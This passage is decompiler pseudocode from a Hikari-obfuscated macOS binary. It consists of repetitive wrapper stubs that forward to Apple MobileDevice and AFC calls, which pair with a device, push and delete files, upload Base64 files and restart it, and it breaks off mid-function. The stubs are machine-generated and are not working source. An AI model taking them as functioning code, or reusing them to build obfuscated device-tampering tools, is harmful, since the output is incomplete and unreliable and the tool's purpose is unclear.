__int64 __fastcall HikariFunctionWrapper_18344(__int64 a1, __int64 a2)
{
return AFCRemovePath(a1, a2);
}
// 100256138: using guessed type __int64 __fastcall AFCRemovePath(_QWORD, _QWORD);
//----- (0000000100221EE0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18345(__int64 a1, __int64 a2)
{
return HikariFunctionWrapper_18344(a1, a2);
}
//----- (0000000100221EF0) ----------------------------------------------------
bool __fastcall HikariFunctionWrapper_18346(__int64 a1, __int64 a2, __int64 a3, __int64 a4)
{
return AFCPushMemory(a1, a2, a3, a4);
}
//----- (0000000100221F00) ----------------------------------------------------
bool __fastcall HikariFunctionWrapper_18347(__int64 a1, __int64 a2, __int64 a3, __int64 a4)
{
return HikariFunctionWrapper_18346(a1, a2, a3, a4);
}
//----- (0000000100221F10) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18348(__int64 a1)
{
return RequestPidList(a1);
}
//----- (0000000100221F20) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18349(__int64 a1)
{
return HikariFunctionWrapper_18348(a1);
}
//----- (0000000100221F30) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18350(__int64 a1)
{
AFCClearDownloads(a1);
}
//----- (0000000100221F40) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18351(__int64 a1)
{
HikariFunctionWrapper_18350(a1);
}
//----- (0000000100221F50) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18352(NSString *a1)
{
NSLog(a1);
}
//----- (0000000100221F60) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18353(NSString *a1)
{
HikariFunctionWrapper_18352(a1);
}
//----- (0000000100221F70) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18354(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100221F80) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18355(void *a1, const char *a2)
{
HikariFunctionWrapper_18354(a1, a2);
}
//----- (0000000100221F90) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18356(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100221FA0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18357(void *a1, const char *a2)
{
HikariFunctionWrapper_18356(a1, a2);
}
//----- (0000000100221FB0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18358(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100221FC0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18359(void *a1, const char *a2)
{
HikariFunctionWrapper_18358(a1, a2);
}
//----- (0000000100221FD0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18360(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100221FE0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18361(void *a1, const char *a2)
{
HikariFunctionWrapper_18360(a1, a2);
}
//----- (0000000100221FF0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18362(__int64 a1)
{
return AMDeviceIsPaired(a1);
}
// 100256174: using guessed type __int64 __fastcall AMDeviceIsPaired(_QWORD);
//----- (0000000100222000) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18363(__int64 a1)
{
return HikariFunctionWrapper_18362(a1);
}
//----- (0000000100222010) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18364(NSString *a1)
{
NSLog(a1);
}
//----- (0000000100222020) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18365(NSString *a1)
{
HikariFunctionWrapper_18364(a1);
}
//----- (0000000100222030) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18366(void *a1)
{
showErrMessage(a1);
}
//----- (0000000100222040) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18367(void *a1)
{
HikariFunctionWrapper_18366(a1);
}
//----- (0000000100222050) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18368(__int64 a1, __int64 a2)
{
return AFCRemovePath(a1, a2);
}
// 100256138: using guessed type __int64 __fastcall AFCRemovePath(_QWORD, _QWORD);
//----- (0000000100222060) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18369(__int64 a1, __int64 a2)
{
return HikariFunctionWrapper_18368(a1, a2);
}
//----- (0000000100222070) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18370(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100222080) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18371(void *a1, const char *a2)
{
return HikariFunctionWrapper_18370(a1, a2);
}
//----- (0000000100222090) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18372(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002220A0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18373(void *a1, const char *a2)
{
return HikariFunctionWrapper_18372(a1, a2);
}
//----- (00000001002220B0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18374(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002220C0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18375(void *a1, const char *a2)
{
return HikariFunctionWrapper_18374(a1, a2);
}
//----- (00000001002220D0) ----------------------------------------------------
bool __fastcall HikariFunctionWrapper_18376(__int64 a1, __int64 a2, __int64 a3, __int64 a4)
{
return AFCPushMemory(a1, a2, a3, a4);
}
//----- (00000001002220E0) ----------------------------------------------------
bool __fastcall HikariFunctionWrapper_18377(__int64 a1, __int64 a2, __int64 a3, __int64 a4)
{
return HikariFunctionWrapper_18376(a1, a2, a3, a4);
}
//----- (00000001002220F0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18378(__int64 a1, __int64 a2)
{
return AFCRemovePath(a1, a2);
}
// 100256138: using guessed type __int64 __fastcall AFCRemovePath(_QWORD, _QWORD);
//----- (0000000100222100) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18379(__int64 a1, __int64 a2)
{
return HikariFunctionWrapper_18378(a1, a2);
}
//----- (0000000100222110) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18380(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100222120) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18381(void *a1, const char *a2)
{
return HikariFunctionWrapper_18380(a1, a2);
}
//----- (0000000100222130) ----------------------------------------------------
bool __fastcall HikariFunctionWrapper_18382(__int64 a1, __int64 a2, __int64 a3, __int64 a4)
{
return AFCPushMemory(a1, a2, a3, a4);
}
//----- (0000000100222140) ----------------------------------------------------
bool __fastcall HikariFunctionWrapper_18383(__int64 a1, __int64 a2, __int64 a3, __int64 a4)
{
return HikariFunctionWrapper_18382(a1, a2, a3, a4);
}
//----- (0000000100222150) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18384(__int64 a1)
{
AFCClearDownloads(a1);
}
//----- (0000000100222160) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18385(__int64 a1)
{
HikariFunctionWrapper_18384(a1);
}
//----- (0000000100222170) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18386(void *a1, __int64 a2)
{
UploadBase64FilesFromXMLCleaned(a1, a2);
}
//----- (0000000100222180) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18387(void *a1, __int64 a2)
{
HikariFunctionWrapper_18386(a1, a2);
}
//----- (0000000100222190) ----------------------------------------------------
bool __fastcall HikariFunctionWrapper_18388(__int64 a1, __int64 a2, __int64 a3, __int64 a4)
{
return AFCPushMemory(a1, a2, a3, a4);
}
//----- (00000001002221A0) ----------------------------------------------------
bool __fastcall HikariFunctionWrapper_18389(__int64 a1, __int64 a2, __int64 a3, __int64 a4)
{
return HikariFunctionWrapper_18388(a1, a2, a3, a4);
}
//----- (00000001002221B0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18390(NSString *a1)
{
NSLog(a1);
}
//----- (00000001002221C0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18391(NSString *a1)
{
HikariFunctionWrapper_18390(a1);
}
//----- (00000001002221D0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18392(__int64 a1)
{
return AMDeviceCreateCopy(a1);
}
// 100256162: using guessed type __int64 __fastcall AMDeviceCreateCopy(_QWORD);
//----- (00000001002221E0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18393(__int64 a1)
{
return HikariFunctionWrapper_18392(a1);
}
//----- (00000001002221F0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18394(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100222200) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18395(void *a1, const char *a2)
{
HikariFunctionWrapper_18394(a1, a2);
}
//----- (0000000100222210) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18396(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100222220) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18397(void *a1, const char *a2)
{
HikariFunctionWrapper_18396(a1, a2);
}
//----- (0000000100222230) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18398(__int64 a1)
{
return OpenAFCConnection(a1);
}
//----- (0000000100222240) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18399(__int64 a1)
{
return HikariFunctionWrapper_18398(a1);
}
//----- (0000000100222250) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18400(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100222260) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18401(void *a1, const char *a2)
{
HikariFunctionWrapper_18400(a1, a2);
}
//----- (0000000100222270) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18402(NSString *a1)
{
NSLog(a1);
}
//----- (0000000100222280) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18403(NSString *a1)
{
HikariFunctionWrapper_18402(a1);
}
//----- (0000000100222290) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18404(__int64 a1)
{
return AFCConnectionClose(a1);
}
// 1002560F0: using guessed type __int64 __fastcall AFCConnectionClose(_QWORD);
//----- (00000001002222A0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18405(__int64 a1)
{
return HikariFunctionWrapper_18404(a1);
}
//----- (00000001002222B0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18406(NSString *a1)
{
NSLog(a1);
}
//----- (00000001002222C0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18407(NSString *a1)
{
HikariFunctionWrapper_18406(a1);
}
//----- (00000001002222D0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18408(NSString *a1)
{
NSLog(a1);
}
//----- (00000001002222E0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18409(NSString *a1)
{
HikariFunctionWrapper_18408(a1);
}
//----- (00000001002222F0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18410(__int64 a1)
{
return AMDeviceCreateCopy(a1);
}
// 100256162: using guessed type __int64 __fastcall AMDeviceCreateCopy(_QWORD);
//----- (0000000100222300) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18411(__int64 a1)
{
return HikariFunctionWrapper_18410(a1);
}
//----- (0000000100222310) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18412(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100222320) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18413(void *a1, const char *a2)
{
HikariFunctionWrapper_18412(a1, a2);
}
//----- (0000000100222330) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18414(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100222340) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18415(void *a1, const char *a2)
{
HikariFunctionWrapper_18414(a1, a2);
}
//----- (0000000100222350) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18416(NSString *a1)
{
NSLog(a1);
}
//----- (0000000100222360) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18417(NSString *a1)
{
HikariFunctionWrapper_18416(a1);
}
//----- (0000000100222370) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18418(NSString *a1)
{
NSLog(a1);
}
//----- (0000000100222380) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18419(NSString *a1)
{
HikariFunctionWrapper_18418(a1);
}
//----- (0000000100222390) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18420(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001002223A0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18421(void *a1, const char *a2)
{
HikariFunctionWrapper_18420(a1, a2);
}
//----- (00000001002223B0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18422(NSString *a1)
{
NSLog(a1);
}
//----- (00000001002223C0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18423(NSString *a1)
{
HikariFunctionWrapper_18422(a1);
}
//----- (00000001002223D0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18424(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001002223E0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18425(void *a1, const char *a2)
{
HikariFunctionWrapper_18424(a1, a2);
}
//----- (00000001002223F0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18426(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100222400) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18427(void *a1, const char *a2)
{
HikariFunctionWrapper_18426(a1, a2);
}
//----- (0000000100222410) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18428(__int64 a1)
{
return AMDeviceCreateCopy(a1);
}
// 100256162: using guessed type __int64 __fastcall AMDeviceCreateCopy(_QWORD);
//----- (0000000100222420) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18429(__int64 a1)
{
return HikariFunctionWrapper_18428(a1);
}
//----- (0000000100222430) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18430(__int64 a1)
{
return AMDevicePair(a1);
}
// 100256180: using guessed type __int64 __fastcall AMDevicePair(_QWORD);
//----- (0000000100222440) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18431(__int64 a1)
{
return HikariFunctionWrapper_18430(a1);
}
//----- (0000000100222450) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18432(__int64 a1)
{
return AMDeviceConnect(a1);
}
// 100256156: using guessed type __int64 __fastcall AMDeviceConnect(_QWORD);
//----- (0000000100222460) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18433(__int64 a1)
{
return HikariFunctionWrapper_18432(a1);
}
//----- (0000000100222470) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18434(NSString *a1)
{
NSLog(a1);
}
//----- (0000000100222480) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18435(NSString *a1)
{
HikariFunctionWrapper_18434(a1);
}
//----- (0000000100222490) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18436(NSString *a1)
{
NSLog(a1);
}
//----- (00000001002224A0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18437(NSString *a1)
{
HikariFunctionWrapper_18436(a1);
}
//----- (00000001002224B0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18438(NSString *a1)
{
NSLog(a1);
}
//----- (00000001002224C0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18439(NSString *a1)
{
HikariFunctionWrapper_18438(a1);
}
//----- (00000001002224D0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18440(__int64 a1)
{
return AMDeviceCopyValue(a1);
}
// 10025615C: using guessed type __int64 __fastcall AMDeviceCopyValue(_QWORD);
//----- (00000001002224E0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18441(__int64 a1)
{
return HikariFunctionWrapper_18440(a1);
}
//----- (00000001002224F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18442(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100222500) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18443(void *a1, const char *a2)
{
return HikariFunctionWrapper_18442(a1, a2);
}
//----- (0000000100222510) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18444(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100222520) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18445(void *a1, const char *a2)
{
return HikariFunctionWrapper_18444(a1, a2);
}
//----- (0000000100222530) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18446(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100222540) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18447(void *a1, const char *a2)
{
HikariFunctionWrapper_18446(a1, a2);
}
//----- (0000000100222550) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18448(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100222560) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18449(void *a1, const char *a2)
{
HikariFunctionWrapper_18448(a1, a2);
}
//----- (0000000100222570) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18450(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100222580) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18451(void *a1, const char *a2)
{
HikariFunctionWrapper_18450(a1, a2);
}
//----- (0000000100222590) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18452(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002225A0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18453(void *a1, const char *a2)
{
return HikariFunctionWrapper_18452(a1, a2);
}
//----- (00000001002225B0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18454(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002225C0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18455(void *a1, const char *a2)
{
return HikariFunctionWrapper_18454(a1, a2);
}
//----- (00000001002225D0) ----------------------------------------------------
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18456()
{
Close3uTools();
}
//----- (00000001002225E0) ----------------------------------------------------
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18457()
{
HikariFunctionWrapper_18456();
}
//----- (00000001002225F0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18458(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100222600) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18459(void *a1, const char *a2)
{
HikariFunctionWrapper_18458(a1, a2);
}
//----- (0000000100222610) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18460(__int64 a1, __int64 a2)
{
return AFCRemovePath(a1, a2);
}
// 100256138: using guessed type __int64 __fastcall AFCRemovePath(_QWORD, _QWORD);
//----- (0000000100222620) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18461(__int64 a1, __int64 a2)
{
return HikariFunctionWrapper_18460(a1, a2);
}
//----- (0000000100222630) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18462(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100222640) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18463(void *a1, const char *a2)
{
return HikariFunctionWrapper_18462(a1, a2);
}
//----- (0000000100222650) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18464(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100222660) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18465(void *a1, const char *a2)
{
return HikariFunctionWrapper_18464(a1, a2);
}
//----- (0000000100222670) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18466(void *a1, __int64 a2)
{
UploadBase64FilesFromXML(a1, a2);
}
//----- (0000000100222680) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18467(void *a1, __int64 a2)
{
HikariFunctionWrapper_18466(a1, a2);
}
//----- (0000000100222690) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18468(NSString *a1)
{
NSLog(a1);
}
//----- (00000001002226A0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18469(NSString *a1)
{
HikariFunctionWrapper_18468(a1);
}
//----- (00000001002226B0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18470(NSString *a1)
{
NSLog(a1);
}
//----- (00000001002226C0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18471(NSString *a1)
{
HikariFunctionWrapper_18470(a1);
}
//----- (00000001002226D0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18472(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001002226E0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18473(void *a1, const char *a2)
{
HikariFunctionWrapper_18472(a1, a2);
}
//----- (00000001002226F0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18474(__int64 a1)
{
return AMDevicePair(a1);
}
// 100256180: using guessed type __int64 __fastcall AMDevicePair(_QWORD);
//----- (0000000100222700) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18475(__int64 a1)
{
return HikariFunctionWrapper_18474(a1);
}
//----- (0000000100222710) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18476(NSString *a1)
{
NSLog(a1);
}
//----- (0000000100222720) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18477(NSString *a1)
{
HikariFunctionWrapper_18476(a1);
}
//----- (0000000100222730) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18478(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100222740) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18479(void *a1, const char *a2)
{
HikariFunctionWrapper_18478(a1, a2);
}
//----- (0000000100222750) ----------------------------------------------------
char __fastcall HikariFunctionWrapper_18480(__int64 a1, const char *a2, int a3)
{
return AFCAwaitNonEmptyFile(a1, a2, a3);
}
//----- (0000000100222760) ----------------------------------------------------
char __fastcall HikariFunctionWrapper_18481(__int64 a1, const char *a2, int a3)
{
return HikariFunctionWrapper_18480(a1, a2, a3);
}
//----- (0000000100222770) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18482(__int64 a1)
{
RestartDevice(a1);
}
//----- (0000000100222780) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18483(__int64 a1)
{
HikariFunctionWrapper_18482(a1);
}
//----- (0000000100222790) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18484(void *a1)
{
showErrMessage(a1);
}
//----- (00000001002227A0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18485(void *a1)
{
HikariFunctionWrapper_18484(a1);
}
//----- (00000001002227B0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18486(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002227C0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18487(void *a1, const char *a2)
{
return HikariFunctionWrapper_18486(a1, a2);
}
//----- (00000001002227D0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18488(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002227E0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18489(void *a1, const char *a2)
{
return HikariFunctionWrapper_18488(a1, a2);
}
//----- (00000001002227F0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18490(__int64 a1)
{
return AFCConnectionClose(a1);
}
// 1002560F0: using guessed type __int64 __fastcall AFCConnectionClose(_QWORD);
//----- (0000000100222800) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18491(__int64 a1)
{
return HikariFunctionWrapper_18490(a1);
}
//----- (0000000100222810) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18492(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100222820) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18493(void *a1, const char *a2)
{
